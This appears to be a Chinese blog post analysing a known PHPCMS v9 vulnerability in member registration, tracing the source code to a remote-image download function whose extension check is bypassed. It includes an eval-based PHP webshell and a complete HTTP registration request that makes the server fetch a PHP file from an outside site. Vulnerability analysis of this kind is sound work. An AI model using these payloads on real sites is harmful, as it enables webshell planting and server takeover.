您好,登錄后才能下訂單哦!
PHPCMS是一款網(wǎng)站管理軟件。該軟件采用模塊化開發(fā),支持多種分類方式,使用它可方便實現(xiàn)個性化網(wǎng)站的設計、開發(fā)與維護。它支持眾多的程序組合,可輕松實現(xiàn)網(wǎng)站平臺遷移,并可廣泛滿足各種規(guī)模的網(wǎng)站需求,可靠性高,是一款具備文章、下載、圖片、分類信息、影視、商城、采集、財務等眾多功能的強大、易用、可擴展的優(yōu)秀網(wǎng)站管理軟件。
看到到處都是這個漏洞的利用.加班完這個點看看觸發(fā)點.主要的問題是
phpcms\modules\member\index.php 130行到140行
//附表信息驗證 通過模型獲取會員信息 if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); //var_dump($_POST['info']); $user_model_info = $member_input->get($_POST['info']); } |
這里加載了兩個文件.位于當前目錄下的fields中的member_input.class.php。因為這里主要是調(diào)用了member_input.
文件的開頭就寫清楚了
function __construct($modelid) { $this->db = pc_base::load_model('sitemodel_field_model'); $this->db_pre = $this->db->db_tablepre; $this->modelid = $modelid; $this->fields = getcache('model_field_'.$modelid,'model'); |
做一點v9的常識
pc_base::load_model(‘*_model’) 加載數(shù)據(jù)庫模型 pc_base::load_sys_class(‘classname’) 實例化系統(tǒng)類 pc_base::load_app_class(‘classname’,’admin’) 實例化模塊類 pc_base::load_sys_func (‘funcfile’) 調(diào)用系統(tǒng)函數(shù)庫 以上是調(diào)用模型和實例化對象的四種方法
pc_base::load_model(‘*_model’) 對應加載 根目錄\phpcms\model 下面的類文件 pc_base::load_sys_class(‘classname’) 對應加載 根目錄\phpcms\libs\classes 下面的文件 pc_base::load_app_class(‘classname’,’admin’) 對應加載 根目錄\phpcms\modules\admin\classes 下面的文件 pc_base::load_sys_func (‘funcfile’) 對應加載 根目錄\phpcms\libs\functions\ |
因此在member_input.class.php中調(diào)用了
\phpcms\model\sitemodel_field_model.class.php
繼續(xù)查看,發(fā)現(xiàn)調(diào)用的是
class sitemodel_field_model extends model { public $table_name = ''; public function __construct() { $this->db_config = pc_base::load_config('database'); $this->db_setting = 'default'; $this->table_name = 'model_field'; parent::__construct(); } |
加載了數(shù)據(jù)庫配置.然后讀取了表model_field.那么這個流程就是需要從model_field中匹配某些東西。繼續(xù)跟get函數(shù)
function get($data) { $this->data = $data = trim_script($data); $model_cache = getcache('member_model', 'commons'); $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array(); $debar_filed = array('catid','title','style','thumb','status','islink','description'); if(is_array($data)) { foreach($data as $field=>$value) { if($data['islink']==1 && !in_array($field,$debar_filed)) continue; $field = safe_replace($field); $name = $this->fields[$field]['name']; $minlength = $this->fields[$field]['minlength']; $maxlength = $this->fields[$field]['maxlength']; $pattern = $this->fields[$field]['pattern']; $errortips = $this->fields[$field]['errortips']; if(empty($errortips)) $errortips = "$name 不符合要求!"; $length = empty($value) ? 0 : strlen($value); if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 個字符!"); if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段'); if($maxlength && $length > $maxlength && !$isimport) { showmessage("$name 不得超過 $maxlength 個字符!"); } else { str_cut($value, $maxlength); } if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重復!"); $func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value; } } return $info; } |
注意觀察到
$func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); |
查看formtype其實是edit.查看下edit函數(shù)
phpcms\modules\member\fields\editor\input.inc.php
function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesavep_w_picpath = $setting['enablesavep_w_picpath']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->p_w_upload->download('content', $value,$watermark_enable); return $value; } |
發(fā)現(xiàn)這里調(diào)用了$this->p_w_upload->download
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $p_w_picpath_d; $this->att_db = pc_base::load_model('p_w_upload_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename);
$newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value); } |
傳輸?shù)降刂方?jīng)過new_stripslashes處理
function new_stripslashes($string) { if(!is_array($string)) return stripslashes($string); foreach($string as $key => $val) $string[$key] = new_stripslashes($val); return $string; } |
限制了后綴為$ext = 'gif|jpg|jpeg|bmp|png'。同時限定了傳輸?shù)奖仨毷蔷W(wǎng)址
("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i" |
這個是一個實現(xiàn)遠程圖片自動上傳功能的函數(shù),用戶提交的content中若有圖片地址則自動將遠程的地址copy到本地!在清楚content中的圖片路徑時候采用preg_match_all 正則匹配(紅色代碼部分),雖然有擴展名的驗證但是很容易就能繞過,我們只需要將shell地址修改為:http://mysite/shell.php?1.gif就可以繞過了,mysite是自己的網(wǎng)站地址,如果自己網(wǎng)站下解析php的話那么php內(nèi)容應該是<?php echo '<?php eval($_POST[cmd]);?>';?> 否則下載后得到的文件內(nèi)容是空白,copy訪問遠程文件也像IE一樣,訪問后取得解析后的內(nèi)容。
那么整個流程久清楚了..傳輸modelid起到了決定性的作用.只有在1,2,3,11的時候才會觸發(fā)edit函數(shù).同時可以賦值content.
POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1 Host: 192.168.87.128 Content-Length: 297 Cache-Control: max-age=0 Origin: http://192.168.87.128 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,p_w_picpath/webp,*/*;q=0.8 Referer: http://192.168.87.128/index.php?m=member&c=index&a=register&siteid=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2 Cookie: PHPSESSID=h6jo0216vveqr9blnh246tq5q5 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Originating-IP: 127.0.0.1 Connection: close
siteid=1&modelid=2&username=test&password=test123&pwdconfirm=test123&email=test%40qq.com&nickname=test233&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=&info[content]=<img src=http://www.xingkonglangzi.com/test.txt?.php#.jpg> |
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。